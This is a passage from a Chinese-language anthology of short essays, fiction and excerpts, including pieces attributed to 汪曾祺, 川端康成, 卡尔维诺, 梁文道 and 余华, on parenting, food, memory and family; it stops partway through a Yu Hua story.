　　孩子在小的时候，父母对他们来说是万能的，是完全可以依靠的。这就是父母对孩子教育的黄金时期。等孩子一到了青少年时期，父母的有效限期就快到了。该说的，该教的，该做的，应该早就都做足了，是到了验收的时候了。这验收的是父母的教育方针，也是孩子对外界的应变能力。

　　过期后的父母再怎么努力，也比不过 10 年前来的有效了。要认知收手和承受的事实。

　　我突然很感叹，我告诉我自己，我必须要在黄金时期内帮我的孩子做好面对未来的准备。因为时间真的过得很快。我不想将来只有叹气、摇头的份。

记卢冀野和三个胖子剪影

顾思齐

　　沈宏非的专栏《肉食者鄙》曾说：“小时候最大的心愿就是把自己变瘦，最好能变得像电影里的'第二号坏人'那么瘦——我早就发现，在六七十年代的中国舞台、银幕或者海报、漫画及连环画里，‘一号反派’角色普遍偏胖，同时二号反派角色通常偏瘦……”但还有一点他未指出：“一号反派”不仅胖，而且蠢；“二号反派”则总是瘦得奸诈。换句话说，肥胖者必愚蠢，聪明者必干瘦。

　　在遥远而万恶的旧社会，体重跟资产是成正比的，故剥削阶级大都脑满肠肥，普罗大众必定食不裹腹；由此可见，“肥胖者必愚蠢”的身体政治学，想必起源于无产阶级对资产阶级的敌视之中，是阶级意识的文化衍生物。

　　当然，真相早已大白于天下，体重跟智商并不成反比，相反，倒可能成正比。试以文化人为例。

　　在现代知识分子中，最有名的胖子，恐怕要数傅斯年，一位学术天才兼行政长才。黄裳四十年代在《关于傅斯年》中描画：“傅先生面色红润，团团如盘，两只小眼睛在圆眼镜后面做一条线状，照联大同学的看法，正是像孔先生一般肥胖肥胖的了。”在左派眼中，傅斯年是学阀，将他比作财阀孔祥熙，可算恶毒。温梓川则形容他是个“肥头胖耳的大块头”，“圆圆的面孔配着副圆形的玳瑁眼镜，身材胖胖，骤然看去很像孙科……”那廉君《傅斯年的故事》所记尤有趣：“傅先生、李济先生（按：中国考古学奠基人）和另外一位裘善元先生，有一次同在重庆参加一个宴会，宴会结束后，主人特别替他们雇好了三乘'滑竿'，六个抬'滑竿'的工人守在门前。第一个走出来的是裘善元先生，工人们看见是一个胖子，大家都不愿意抬，于是互相推让。第二个走出来的是李济先生，剩下来的四个工人看看比刚才出来的还胖些，彼此又是一番推让。等到傅先生最后走了出来，所剩下的两个工人一看，吓了一跳，比第二个胖得更厉害，两人扛起'滑竿'拔腿跑掉，弄得请客的主人很尴尬。”

　　词曲名家卢前（字冀野），号称“江南才子”，也以肥胖驰名，梁实秋《记卢冀野》说他“体肥，臃肿膨亨，走不了几步路就气咻咻然”。1936 年在北京，有一次他跟张恨水、张季鸾、左笑鸿等小聚，谈到打扑克有“同花顺”，左笑鸿摹仿王渔洋词“郎似桐花，妾似桐花凤”，吟出一句“又是同花，又是同花顺”；张恨水更开玩笑道：“冀野辞藻无伦，而身体肥硕，可赠以词：文似东坡，人似东坡肉。”当时席上正有一盘东坡肉，举座遂为之大笑。抗战期间他在重庆，跟傅斯年一样，也让当地的滑竿夫吃尽了苦头。

　　此外，曹聚仁《三个胖子剪影》分别回忆了赵景深、李青崖、谢六逸。又，史学家齐思和也是胖子，陈毓贤《洪业传》记：“1960 年至 1962 年三年自然灾害期间，洪业（按：1949 年以后寓美）听说他一个顶得意的学生齐思和，一向被称为齐胖子的，瘦了许多。刚巧新加坡南洋商报编辑连士升，是位燕大校友，也是齐思和的好朋友，请洪业撰稿，洪业便写了《我怎么写杜甫》一文，叫连士升把稿费拿去买些食油及肉干寄往北京给齐思和。”

　　有这些肉身痴重而头脑聪明的前辈在，世之肥佬大可以挺起肚腩做人。还看今朝，又有沈宏非、王小山、王怡等等后起之秀，更可谓江山代有肥人出了。

　　有道是：瘦亦何欢，肥亦何苦？高贵者最愚蠢，肥胖者最聪明。

阿格头子灰背青

汪曾祺

　　敕勒川，阴山下。天似穹庐，笼盖四野。天苍苍，野茫茫，风吹草低见牛羊。

　　北齐斛律金这首用鲜卑语唱的歌公认是北朝乐府的杰作，写草原诗的压卷之作，苍茫雄浑，前无古人，后无来者。一千多年以来，不知道有多少“南人”，都从“风吹草低见牛羊”一句诗里感受到草原景色，向往不已。

　　但是这句诗有夸张成分，是想象之词。真到草原去，是看不到这样的景色的。我曾四下内蒙，到过呼伦贝尔草原，达茂旗的草原，伊克昭盟的草原，还到过新疆的唐巴拉牧场，都不曾见过“风吹草低见牛羊”。张家口坝上沽源的草原的草，倒是比较高，但也藏不住牛羊。论好看，要数沽源的草原好看。草很整齐，叶细长，好像梳过一样，风吹过，起伏摇摆如碧浪。这种草是什么草？问之当地人，说是“碱草”，我怀疑这可能是“草菅人命”的“菅”。“碱草”的营养价值不是很高。

　　营养价值高的牧草有阿格头子、灰背青。

　　陪同我们的老曹唱他的爬山调：

　　阿格头子灰背青，四十五天到新城。

　　他说灰背青，叶子青绿而背面是灰色的。“阿格头子”是蒙古话。他拔起两把草叫我们看，且问一个牧民：

　　“这是阿格头子吗？”

　　“阿格！阿格！”

　　这两种草都不高，也就三四寸，几乎是贴地而长。叶片肥厚而多汁。

　　“阿格头子灰背青，四十五天到新城。”老曹年轻时拉过骆驼，从呼和浩特驮货到新疆新城，一趟得走四十五天。那么来回就得三个月。在多见牛羊少见人的大草原上，拉着骆驼一步一步地走，这滋味真难以想象。

　　老曹是个有趣的人。他的生活知识非常丰富，大青山的药材、草原上的草，他没有不认识的。他知道很多故事，很会说故事。单是狼，他就能说一整天。都是实在经验过的，并非道听途说。狼怎样逗小羊玩，小羊高了兴，跳起来，过了圈羊的荆笆，狼一口就把小羊叼走了；狼会出痘，老狼把出痘子的小狼用沙埋起来，只露出几个小脑袋；有一个小号兵掏了三只小狼羔子，带着走，母狼每晚上跟着部队，哭，后来怕暴露部队目标，队长说服小号兵把小狼放了……老曹好说，能吃，善饮，喜交游。他在大青山打过游击，山里的堡垒户都跟他很熟，我们的吉普车上下山，他常在路口叫司机停一下，找熟人聊两句，帮他们买拖拉机，解决孩子入学……我们后来拜访了布赫同志，提起老曹，布赫同志说：“他是个红火人。”“红火人”这样的说法，我在别处没有听见过。但是用之于老曹身上，很合适。

　　老曹后来在呼市负责林业工作。他曾到大兴安岭调查，购买树种，吃过犴鼻子（他说犴鼻子黏性极大，吃下一块，上下牙粘在一起，得使劲张嘴，才能张开。他做了一个当时使劲张嘴的样子，很滑稽）、飞龙。他负责林业时，主要的业绩是在大青山山脚至市中心的大路两侧种了杨树，长得很整齐健旺。但是他最喜爱的是紫穗槐，是个紫穗槐迷，到处宣传紫穗槐的好处。

　　“文化大革命”，内蒙大搞“内人党”问题，手段极其野蛮残酷，是全国少有的重灾区。老曹在劫难逃。他被捆押吊打，打断了踝骨。后经打了石膏，幸未致残，但是走起路来一拐一拐的。他还是那么“红火”，健谈豪饮。

　　老曹从小家贫，“成分”不高。他拉过骆驼，吃过很多苦。他在大青山打过游击，无历史问题，为什么要整他，要打断他的踝骨？为什么？

　　阿格头子灰背青，四十五天到新城。

永远的坐票

佚名

　　生活真是有趣：如果你只接受最好的，你经常会得到最好的。

　　有一个人经常出差，经常买不到对号入坐的车票。可是无论长途短途，无论车上多挤，他总能找到座位。

　　他的办法其实很简单，就是耐心地一节车厢一节车厢找过去。这个办法听上去似乎并不高明，但却很管用。每次，他都做好了从第一节车厢走到最后一节车厢的准备，可是每次他都用不着走到最后就会发现空位。他说，这是因为像他这样锲而不舍找座位的乘客实在不多。经常是在他落座的车厢里尚余若干座位，而在其他车厢的过道和车厢接头处，居然人满为患。

　　他说，大多数乘客轻易就被一两节车厢拥挤的表面现象迷惑了，不大细想在数十次停靠之中，从火车十几个车门上上下下的流动中蕴藏着不少提供座位的机遇；即使想到了，他们也没有那一份寻找的耐心。眼前一方小小立足之地很容易让大多数人满足，为了一两个座位背负着行囊挤来挤去有些人也觉得不值。他们还担心万一找不到座位，回头连个好好站着的地方也没有了。与生活中一些安于现状不思进取害怕失败的人，永远只能滞留在没有成功的起点上一样，这些不愿主动找座位的乘客大多只能在上车时最初的落脚之处一直站到下车。

　　自信、执着、富有远见、勤于实践，会让你握有一张人生之旅永远的坐票。

父母的心

川端康成

　　诸位，把眼睛闭上五分钟，然后平心静气地想想父亲或者母亲试试看。

　　你们的父母是如何深深地爱着你们，怀念子女的父母之心是多么温暖、多么广阔，直到现在不是依然使大家感慨万千、激动不已的么？啊，用不着闭上眼睛，你们大家无论早晚不是深深地感到双亲之恩么？

　　这个故事，肯定也是让你们知道父母之心是多么伟大的故事之一。

　　故事发生在从神户海港开往遥远的北海道幽馆的船上。

　　船出了濑户内海，航行在广阔的志摩附近海面的时候。聚集在甲板上的人们之中，有一位风度极佳，引人注目，年纪 40 左右的高贵妇女。女佣和打杂儿的片刻不离左右。

　　与此成对照的是，也有一位 40 岁上下的男人，他衣衫褴褛，那副寒酸相也引人注目。他带着三个孩子，最大的男孩七八岁。孩子们长相都很聪明可爱，但是孩子们的衣服却相当的脏。

　　那位高贵的夫人早就频频地注视这贫穷的父亲和孩子们，最后她和女佣耳语了一阵之后，那女仆来到那父亲和孩子们跟前说：

　　“孩子这么多，真有福气呵！”

　　“谢谢。他们下边还有一个吃奶的孩子哪。像我们这样的穷人，因为有孩子日子就更苦。说起来怪难为情的，我们已经没有能力扶养这四个孩子了。话虽然这么说，但是决不会把他们扔了，为了孩子们，现在我一家 6 口这就去北海道找活干哪。”

　　“方才你说的如果确实是实际情况，我就想跟你说说相求的事了。——我的东家是幽馆的财主，在某大公司当总经理。日子过得很富足，但是只有一件事不如人意：年过 40 没有孩子。我家太太方才跟我说，从你家的孩子之中能不能匀出一个给她，你去说说看看。到了她家的孩子，当然是继承财主的家业啦，孩子也享了福。作为酬谢，敬赠 100 元。”

　　“这可得谢谢啦……”这位父亲本想立刻表示同意，但是一想这样不妥，便说反正这事得和孩子妈妈商量之后才能决定。

　　那天傍晚，轮船已经航行在相模滩的海面上了。那男人和他的妻子一起，带着他们的长子来到那位妇人的房间。他们说：

　　“那就请你把这小家伙收下吧！”

　　结果自然是按口头约定，对方付了 100 元钱。那是很久以前的 100 元，相当于现在的 1000 元。该是父母和儿子分手的时候了，这对父母眼含热泪，难割难舍地走出了舱房。

　　但是到了第二天早晨，船在绕着房总半岛转的时候，不知什么缘故，那位父亲领着 5 岁的二儿子的手，无精打彩地走进那财主的太太的客舱。他说：

　　“昨晚上仔细地想了又想，大儿子嘛，不论怎么穷吧，也是我们家的接班人哪。况且，把老大给别人，按次序也不对，如果可能，能不能同意用老二换下老大？”

　　“当然行！”财主的太太高高兴兴地同意了。

　　可是，当天傍晚，孩子母亲带着 3 岁的女儿来了，她很不好意思地说：

　　“简直没法跟您说，今天早晨给你送来的二小子，从眉眼长相到说话的噪门，和我那去世的婆婆一模一样。我就实话跟您说吧，我这心里呀，就像把婆婆扔了一样不好受，再说也对不起我们当家的。况且，他已 5 岁了，我觉得他一定会永远地记着我们，想到这儿觉得他可怜得不得了。能不能答应我用这个最小的女孩子把他换下来？”

　　那财主的太太一听女孩，有些不高兴，但是看了那位妈妈失魂落魄的样子，除了答应也没别的办法了。

　　事情到这儿还没完，第二天上午，船快要到北海了，这回是两口子一齐来到那位财主奶奶的舱房。他们一见财主夫人什么也说不出来，竟然痛哭失声。

　　“怎么啦？”对方这么问。

　　“实在难为情极了。”只说了这么一句就又哭了。问了几次，那男人才哭着说：

　　“本来是不应该这么随便说话的。昨晚上我们两口子本来是商量好，说得一妥百妥，决不留恋孩子啦，可是，正因为她太小，所以总担心她是不是这样那样啦，结果是我们两口子一夜没睡。把那么个无知的孩子给人家，连我自己都觉得这当爹的冷酷无情。您给的钱我们如数奉还，请把女儿退给我们吧。与其舍掉一个孩子，还不如爹妈儿女一家 6 口饿死在一起好。”

　　有钱的妇人听了这番话，不由得跟着悲伤起来，禁不住落泪。

　　“是我不对，老实说，我虽然没有孩子，你们当爹妈的心我完全理解，而且也羡慕你们。孩子还给你们，钱呢，就作为你们教给我懂得父母之心的酬谢吧，你就拿它作为在北海道干下去的资本。”

　　于是，那位父亲由于那位有钱的妇女帮忙，受雇于函馆的某公司，一家 6 口过上了好日子。

静下来

玛丽安 · 麦肯译

　　我用手电筒照亮庭院里的池塘。平铺如一片地毯的浮萍，几乎覆盖了整池水面，池水静止、平滑、青绿，犹如一座高尔夫球场，只有一株水芹菜的羽状叶这里一点那里一块，将池面的完整划破。手电筒的光线照见了一对对眼睛，正好露在水平面上，小小的脸，一丝不动且肃穆庄严，藏在萍叶下，像戴着俏皮的小帽。

　　我继续用手电简的光线锁定它们，它们依然动也不动，眼睛眨都不眨。我站的地方距离它们太远，看不清它们的喉咙由于呼吸而引发的动态。我不确定这些青蛙快不快乐。它们的眼睛不眨，它们的小脸神秘难解。它们安安静静，耐心平和地坐着，像安静的禅师，内心宁静、悠然自得。

　　聪明的人类，有着花样繁多的食物和对宇宙的征服力，我们不需要傻傻地坐在那里守株待免等待一只飞过的蚊子，我们把时间用来等待下一个令人惊奇的科技呼啸而过，用来发明不同的新鲜事物和新鲜玩法，就像踩着一台永不停止的跑步机，思考的时间愈来愈长，血拼愈来愈疯狂，“拥有”的东西越来越多，却看起来愈来愈憔悴，越来越不快乐。

　　简单生活的意思纯粹只是：相较于现在，给自己更多梦想和沉吟的时间，以及更多品闻玫瑰的时间，就像青蛙之于池塘，和谐静谧，动静皆宜。简单并不是舍弃所有，简单不过是学会在现有的旧事物上拥抱新的快乐罢了。

梦的真实性

高铭

　　跟这个女患者接触花了好多次才能正经坐下来交谈。因为她整日生活在恐惧中，她不相信任何人——家人，男朋友，好友，医生，心理专家，一律不信。

　　她的恐惧来自她的梦境。

　　因为她很安全，没有任何威胁（反复亲自观察的结果，我不信别人的观察报告，危及到我人身安全的事情，还是自己观察比较靠谱），所以那次我录音笔、纸张、铅笔那些带的一应俱全。

　　我：“昨天你做梦了吗？”

　　她：“我没睡。”

　　她脸上的神态不是疲惫，而是警觉和长时间睡眠不足造成的苍白以及频临崩溃——有点儿歇斯底里的前兆。

　　我：“怕做梦？”我有点儿后悔今天来了，所以决定小心翼翼的问话。

　　她：“嗯。”

　　我：“前天呢？睡了吗？”

　　她：“睡了。”

　　我：“睡的好吗？”

　　她：“不好。”

　　我：“做梦了？”

　　她：“嗯。”

　　我：“能告诉我梦见什么了吗？”

　　她：“还是继续那些。”

　　在我第一次看她的梦境描述的时候，我承认我有点儿惊奇，因为她记得自己从小到大的大多数梦境。而且据她自己说都是延续性的梦——也就是说：她梦里的生活基本上和现实一样，随着是时间流逝、因果关系而连贯的。最初她的问题在于经常把梦里的事情当做现实的，后来她逐渐接受了“两个世界”——现实生活和梦境生活。而现在的问题严重了，她的梦越来越恐怖。最要命的是：也是连续性的。想想看，一个永远不会完结的恐怖连续剧。

　　我：“你知道我是来帮你的，你能告诉我最近一个月发生的事情吗？”我指的是在她的梦里。

　　她咬着嘴唇，犹疑了好一会才缓缓的点了下头。

　　我：“好了，开始吧。”

　　她：“还记得影子先生吗？我发现他不是来帮我的。”

　　这句话让我很震惊。影子先生是存在于她噩梦里除患者外唯一的人。衣着和样子看不清，总是以模糊的形象出现，而且，影子先生经常救她。最初我以为影子先生是患者对现实中某个仰慕男性的情感寄托，后来经过几次专业人士对她的催眠后，我发现不是，影子先生对她来说，是实实在在的梦中人物。

　　我：“影子先生……不是救你的人吗？”

　　她：“不是。”

　　我：“到底发生了什么事儿。”

　　她：“他已经开始拉着我跳楼了。”

　　我稍稍松了口气：“是为了救你逃脱吧？原来不是有过吗？”

　　她：“不是，我发现了他的目的。”

　　我：“什么目的？”

　　她：“他想让我和他死在一起。”

　　我克制着自己的反应，用了个小花招，重复她最后一个词：“死在一起？”

　　她：“对。”

　　我不去追问，等着。

　　她：“我告诉过你的，一年前的时候，他拉着我跳楼，每次都是刚刚跳我就醒了。最近一年醒的越来越晚了。”

　　我：“你是说……”

　　她好像鼓足勇气似得深吸了一口气：“每次都是他拉着我跳同一栋楼，最开始我没发现，后来我发现了。因为那栋楼其中一层的一个房间有个巨大的吊灯。因为最开始的时候我刚跳就醒了，后来每一次跳下来，都比上一次低几层才能醒过来。”

　　我：“你的意思是：直到你注意到那个吊灯的时候你才留意每次都醒的晚了几层，在同一栋楼？”

　　她：“嗯。”

　　我：“还经常是那个 40 多层的楼吗？”

　　她：“每一次。”

　　我：“那个有吊灯的房间在几层？”

　　她：“35。”

　　我：“每次都能看到那扇窗？”

　　她：“不是一扇窗，每次跳的位置不一样，但是那个楼的房间有很多窗户，所以后来每一次从一个新位置跳下去，我都会留意 35 层，我能从不同的角度看到那个巨大的吊灯。”

　　我：“现在到几层才会醒？”

　　她：“已经快一半了。”

　　我：“……”

　　她：“我能看到地面离我越来越近，他拉着我的手，在我耳边笑。”

　　我有点儿坐立不安：“不是每次都能梦见跳楼吧？”

　　她：“不是。”

　　我：“那么他还救你吗？”

　　她恐惧的看着我：“他是怪物，他认得所有的路，所有的门，所有的出口入口，只要他拉住我的手，就没办法再松开，只能跟着他跑，喊不出来，也不能说话，只能跟着他跑，跑到那栋楼顶，跟着他跳下去。”

　　如果不是彻底调查过她身边的每一个男性，如果不是有过那几次催眠，我几乎就认为她是生活中被男人虐待了。那样的话，事情到简单了。说实话，我真的希望事情是那么简单的，真的。

　　我：“你现在还是看不清影子先生吗？”

　　她：“跳楼的瞬间，能看清一点儿。”

　　我盘算着身边有没有认识公安那种专门画犯人容貌的高手。

　　我：“他长什么样子？”

　　她再次充满了恐惧的回答：“那不是人的脸……不是人的脸……不是……”

　　我知道事情不好，她要发病了：“你喝水吗？”

　　她看着我愣了好一阵才回过神来：“不要。”

　　那次谈话后不久、她再次入院了。医院特地安排了她的睡眠观察，报告很奇特：她大多数睡眠都是无梦的睡眠，真正做梦的时候，不超过 2 分钟，她产生梦的同时，身体开始痉挛，体表出汗，体温升高，然后就会醒，惊醒。每一次。

　　最后一次和她谈话的时候，我还是问了那个人的长相。

　　她压制着恐惧告诉我：影子先生的五官，在不停的变换着形状，彷佛很多人的面孔，快速的交替浮现在同一张脸上。

　　选自《天才在左疯子在右》

刀锋

毛姆

　　我的确爱你，不幸的是，一个人想要做自己认为对的事情，却免不了让别人不快乐。

　　大多数人在恋爱的时候会想出各种理由说服自己，认为照自己的意旨行事是唯一合理的举动。我想不幸的婚姻那么多，就是这个原因。他们就像那些把自己的事情交给一个明知道是坏蛋的人物管一样；由于这个坏蛋和自己很好，他们就不愿意相信一个坏蛋首先是坏蛋，然后才是朋友，而且坚决认为这个人尽管对人不老实，对自己决不会如此。拉里不肯为了伊莎贝儿牺牲自己选择的生活，是相当坚强的，但是，失掉伊莎贝儿可能比他自己预料的要更加不能忍受。可能他就和我们大多数人一样，又要吃饼子，又要留着。

　　我从不与人争，没有人值得我与之争；

　　我爱自然，其次爱的是艺术；

　　我向生命之火伸双手取暖；

　　火快烧残了，我也准备离去。

　　自我牺牲是压倒一切的情感，连淫欲和饥饿跟它比较起来都微不足道了。它使人对自己人格作出最高评价，驱使人走向毁灭。对象是什么人，毫无关系；值得也可以，不值得也可以。没有一种酒这样令人陶醉，没有一种爱这样摧毁人，没有一种恶使人这样抵御不了。当他牺牲自己时，人一瞬间变得比上帝更伟大了，因为上帝是无限和万能的，他怎么能牺牲自己？他顶多只能牺牲自己唯一的儿子。

　　许多人都患恐惧病。我说的恐惧并不是指怕被关闭起来或者怕站在高地方，而是怕死亡，或者更糟糕的，怕生命。他们看上去好像非常之健康，生活富裕，一点心事也没有，然而却被恐惧折磨着。我有时觉得，这是人性中的最扰人意的一种心理倾向；有一个时候，甚至盘算这是不是根植于某种动物本能，是人类从那个第一次感到生命颤栗的原始物质继承下来的。

　　节选《刀锋》

一只不配对的布鞋

卡尔维诺

　　帕洛马尔先生在东方某个国家旅游时，从集市上买回一双布鞋。回到家里试穿时，发现一只鞋比另一只大，穿上它直往下掉。他回忆起那个年迈的摊贩蹲在集市上小棚内，面前乱七八糟摆着一堆各种号码的布鞋，他看着老人从鞋堆里翻出一只与他的脚相当的布鞋并递过来让他试，然后又在鞋堆里翻找并把这只不配对的鞋递给他，他试也没试就买下了。

　　帕洛马尔先生心里想道：“也许现在那个国家另有一个人正穿着一双大小不一样的鞋走路呢。”他仿佛看见一个瘦小的身影在沙漠上一瘸一拐地行走，脚上有只鞋大得多，走一步都要掉下来，或者小得把他的脚都挤变形了。“也许他现在也正想着我，希望遇见我同我交换呢。我们之间的关系比较大部分人际关系来要具体得多、明确得多。然而，我们却永远也不会相遇。”为了向这位不知姓名的难友表示同情，为了牢牢记住他们之间的这种极为罕见的互补关系，让这个大陆上的跛行反映到另一个大陆上去，帕洛马尔先生决定永远穿着这双不配对的布鞋。

　　帕洛马尔先生在思想中一直这么想，但是他知道事实并非如此。批量生产的布鞋源源不断地补充着那个集市商贩的货摊，鞋堆里的那两只不配对的鞋将会永远留在那里。只要这个年迈的摊贩不卖光自己的全部库存（也许这些库存永远也卖不完，他死后他的买卖和存货会转给他的儿子，儿子再交给孙子），那么他只需在鞋堆里翻检几下就能找到一只鞋与另一只鞋配对。只有像他帕洛马尔这样粗心的顾客才会出现这种差错，但是，要使他这一差错的后果反映在这个古老集市的另一位顾客身上，可能需要几百年的时间。世界上任何统一体的分解过程都是不可抗拒的，但是它的后果却被大量的也许是无穷无尽的新的对称、组合与配对所掩盖而迟迟不能被人发现。

　　他的这个差错可能不可能修正了从前的一个差错呢？他的粗心会不会不仅没有造成混乱反而恢复了原来的秩序呢？帕洛马尔先生心想：“也许那个摊贩非常清楚他的行为，他把这只不配对的鞋给了我，从而消除了在那堆鞋中隐藏了几百年、自他的祖辈在这个集市开业以来就一代一代遗传下来的不平衡呢？”

　　那位不知姓名的难友也许在几个世纪以前曾跛足而行。那么，帕洛马尔先生与他同样跛足而行，中间不仅隔着两大洲，而且相距几个世纪呢。尽管时间过去很久了，帕洛马尔先生并不因此而对他缺乏同情心，他继续穿着这双布鞋吃力地走着，以慰藉他的这位已不存在的伙伴。

淡

梁文道

　　回想从前在台湾念书的日子，其中最可怕的景象之一就是路过学校饭堂厨房，看见几个厨师浑身是汗在炒菜，他们用双手挥动一根泥铲在硕大的铁锅里翻来翻去，然后拿起一个纸盒，倒下整整半盒的粉末。那些粉末自然就是味精。

　　台湾人酷爱味精，夜市街头的小吃摊上几乎没一样东西是不用味精的（除了刨冰）。有一种说法，解释这是因为台湾菜或福建菜的特点，它们的味道太“寡”，不用味精就根本吃不出味道。

　　例如“贡丸汤”，擅长煲汤喜爱喝汤的广东人肯定觉得莫名其妙，就这么一碗清水，放了几许葱花，再有两大颗新竹贡丸载浮载沉，这能叫做汤吗？但台湾人就是喜欢，用它伴食肥香的卤肉饭，或者直接拿它做一顿小点的主角。

　　其实传统台湾菜本就粗野，像贡丸汤这种玩意更是贫穷饮食的代表。既无贵价食材，也没有精巧的调味，粗朴的食物又怎能不多下点味精呢？

　　可是坦白讲，我是挺喜欢贡丸汤的；如果不用味精，那就更妙了。它那种淡寡的味道，就像我喜欢的另一种汤水——饺子汤。所谓“饺子汤”其实就是煮完饺子的开水。北方人讲究“喝原汤，化原食”，意思是吃饱了饺子，得喝煮饺子的这一锅水帮助消化。不骗你，饱尝一顿饺子宴之后，来一碗什么料都不放的饺子汤真有舒腻的爽泰。

　　中华食制博大精深，百味纷呈，但在文人传统里面最受尊崇的始终是个“淡”字；而“淡”正是西方人最难领会，因此也是中国口味里最独特的感官现象（日本当然也很注重“淡”）。儒家经典《礼记》里有段话：“飨之礼，尚玄酒而俎腥鱼。大羹不和，有遗味者矣。”意思是在最庄严隆重的祭祀里面，用的酒反而是未精制的，鱼则是没煮熟的，最重要的羹汤则根本味道都还没调好。为什么？那是因为这种饮食才有“遗味”。

　　中国美学很推崇“遗”跟“余”，音乐要注意那断续之间几乎稀不可闻的“余音”，诗要留神那可堪咀嚼的“余味”，书画的精华则在那萧疏简淡的留白与“余墨”。在味觉上，那就是能让人回味再三的“余味”——平淡了。

　　为何不是酸甜苦辣咸，而是平淡，方为味中之至呢？法国当红学者于连（FrancoisJullien）在他的名著《淡之颂》里提出了一个非常玄妙的哲学解释。

　　首先，平淡是一种几乎吃不出来的味道，就和古琴那在一个乐句与另一个乐句之间的袅袅余音一样，差一点就听不到了。这种处在感官界限边缘的口味是最精微纤细的，不用心领会是尝不着的。既然它是如此的辽远淡泊，对人的身心要求是如此之高，那当然是“至味”了。就和喝水类似，我们常说能喝出水味差别的人，才是味觉最敏感的人。

　　更重要的是平淡乃诸味之母，所有强烈的味道如麻辣咸香都是很难和谐并存的，肯定一者必然就否定了另一者。例如说一道菜很辣，那它肯定就不是不辣的了；说一道甜品很甜，那就等于它不能不甜了。唯有平淡是所有味道的基础，既不是甜也不算不甜，既不是酸又未必不可以酸，包含且孕育了一切。古人欣赏平淡，与其说是为了它在口舌间产生的生理反应，倒不如说是哲理上的认同。所以老子说：“道之出口，淡乎其无味。”

　　因此要是再有人说贡丸汤必须放味精，或者你遇到北方人嫌弃广东菜太淡，我们就可以搬出这套理论，把他们唬得无话可说了。

在桥上

余华

　　“我们……”

　　他说着把脸转过来，阳光在黑色的眼镜架上跳跃着闪亮。她感到他的目光像一把梯子似的架在她的头发上，如同越过了一个草坡，他的眼睛眺望了过去。她的身体离开了桥的栏杆，等着他说：“我们回去吧。”

　　或者说：“我们该回家了。”

　　她站在那里，身体有些绷紧了，右腿向前微微弯曲，渴望着跨出去。可是他没有往下说。

　　他依然斜靠在栏杆上，目光飘来飘去，就像断了线的风筝一样。她放松了绷紧的身体，问他：“你在看什么？”

　　他开始咳嗽，不是那种感冒引起的咳嗽，是清理嗓子的咳嗽。他准备说什么？

　　她看到他的牙齿爬了上来，将下嘴唇压了下去。一群孩子喊叫着，挥舞着书包涌到桥上，他们像一排栖落在电线上的麻雀，整齐地扑在栏杆上，等一支长长的船队突突响着来到了桥下。

　　当柴油机的黑烟在桥上弥漫过后，孩子们的嘴僻僻啪啪地响了起来，白色的唾沫荡着秋千飞向了船队，十多条驳船轮流驶人桥洞，接受孩子们唾沫的沐浴。站在船头的人挥舞着手，就像挡开射来的利箭一样，抵挡着唾沫。他们只能用叫骂来发泄无可奈何的怒气，在这方面，他们豢养的狗做得更为出色，汪汪吼着在船舷上来回奔跑，如同奔跑在大街上，狗的表演使孩子们目瞪口呆，他们忘记了自己的恶作剧，惊奇地咧嘴看着，发出了格格的笑声。

　　他又说：“我们……”

　　她看着他，等着他往下说。

　　大约有一个星期了，他突然关心起她的例假来了，这对他是从未有过的事。他们的婚姻持续了五年以后，这一天他躺在床上，那是中午的时候，衣服没脱，还穿着鞋，他说不打算认真地睡觉，他抱着被子的一个角斜着躺了下去，打着呵欠说：“我就随便睡一下。”

　　她坐在靠窗的沙发上，为他织着一条围巾，虽然冬天还远着呢，可是，用她的话说是有备才能无患。秋天的阳光从窗口照射进来，使她感到脖子上有一股微微发痒的温暖，而且使她的左手显得很明亮。这一切和躺在床上呼呼睡着的丈夫，让她心满意足。

　　这时，她的丈夫，那位卡车司机霍地坐了起来，就像卡车高速奔跑中的紧急刹车一样突然，他问：“它来了没有？”

　　她吓了一跳，问道：“谁来了？”

　　他没有戴眼镜的双眼突了出来，焦急地说：“例假，月经，就是老朋友。”

　　她笑了起来，老朋友是她的说法，她和它已经相处了十多年，这位老朋友每个月都要来问候她，问候的方式就是让她的肚子经常抽搐。她摇摇头，老朋友还没有来。

　　“应该来了。”他说着戴上了眼镜。

　　“是应该来了。”她同意他的话。

　　“可他妈的为什么不来呢？”

　　他显得烦躁不安。在这样的一个温和晴朗的中午，他睡得好好的突然跳起来，结果什么事都没有，只是为了问一下她的例假是否来了。她觉得他的样子很滑稽，就笑出了声音。他却是心事重重，坐在床沿上歪着脑袋说道：“妈的，你是不是怀上了？”

　　她不明白他为什么是这样的表情，即便怀上了孩子也不是什么坏事，他把她娶过来的时候就这样说过：“你要给我生个儿子，我要儿子，不要女儿。”

　　她说：“你不是想要一个儿子？”

　　“不。”他几乎是喊叫了出来。“不能有孩子，这时候有孩子我就……就不好办了。”

　　“什么不好办？”她问，又站起来说。“我们是合法夫妻……我又不是偷偷爬到你床上的，我是你敲锣打鼓迎回家的，有什么不好办？你忘了你还租了两辆轿车，三辆面包车……”

　　“我不是这个意思。”他摆手打断她的话。

　　“那是什么意思？”

　　在后来的一个星期里，他着了魔似的关心着她的那位老朋友，每次出车后回家，如果那时候她在家中的话，就肯定会听到他急促响亮的脚步声，在楼梯上隆重地响过来，其间夹杂着钥匙互相碰撞的清脆之声，所以他能很快地打开屋门，出现在她的面前，眼睛向阳台张望，然后沮丧地问她：“你没洗内裤？”

　　得到肯定的回答后，他还会以残存的希望再次问她：“它来了吗？”

　　“没有。”她干脆地回答他。

　　他一下子变得四肢无力了，坐在沙发里叹息道：“我现在是最不想做父亲的时候。”

　　他的模样让她感到费解，他对她怀孕的害怕使她觉得他不像个正常人，她说：“你究竟是怎么了？你为什么这么怕我怀孕？”

　　这时候他就会可怜巴巴地看着她，什么话都不说。她心软了，不再去想这些，开始为他着想，安慰他：“我才推迟了五天，你忘了，有一次它晚来了十天。”

　　他的眼睛在镜片后面一下子闪亮了：“有这样的事？”

　　她看到他的脸上出现了天真的笑容，在昨天，他就是这样天真地笑着问她：“你用卫生巾了吗？”

　　她说：“还没到时候。”

　　“你要用。”他说。“你不用卫生巾，它就不会来。”

　　“哪有这种事。”她没在意他的话。

　　他急了，叫道：“钓鱼不用鱼饵的话，能钓上鱼吗？”

